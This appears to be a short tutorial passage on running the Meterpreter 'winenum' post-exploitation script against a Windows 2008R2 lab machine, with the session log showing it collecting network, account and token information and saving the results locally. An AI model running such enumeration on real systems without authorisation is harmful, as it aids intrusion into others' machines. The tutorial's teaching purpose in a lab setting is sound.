Scraping the system using winenum
Windows Local Enumeration (WinEnum)Â script retrieves all kinds of information about the system including environment variables, network interfaces, routing, user accounts, and much more.
How to do it...
- TheÂ
winenum
script will run several commands such asÂarp
,net
,netstat
,Ânetsh
, andwmic
 among other commands on the target machine and store the results on our local system:
meterpreter > run winenum [*] Running Windows Local Enumeration Meterpreter Script [*] New session on 192.168.216.10:445... [*] Saving general report to /root/.msf4/logs/scripts/winenum/VAGRANT-2008R2_20171118.2800/VAGRANT-2008R2_20171118.2800.txt [*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/VAGRANT-2008R2_20171118.2800 ... [*] Getting Tokens... [*] All tokens have been processed [*] Done! meterpreter >
- The output of the Â
winenum
 script is stored in theÂ/root/.msf4/logs/scripts/winenum/
folder:
root@kali:~# ls /root/.msf4/logs/scripts/winenum/VAGRANT...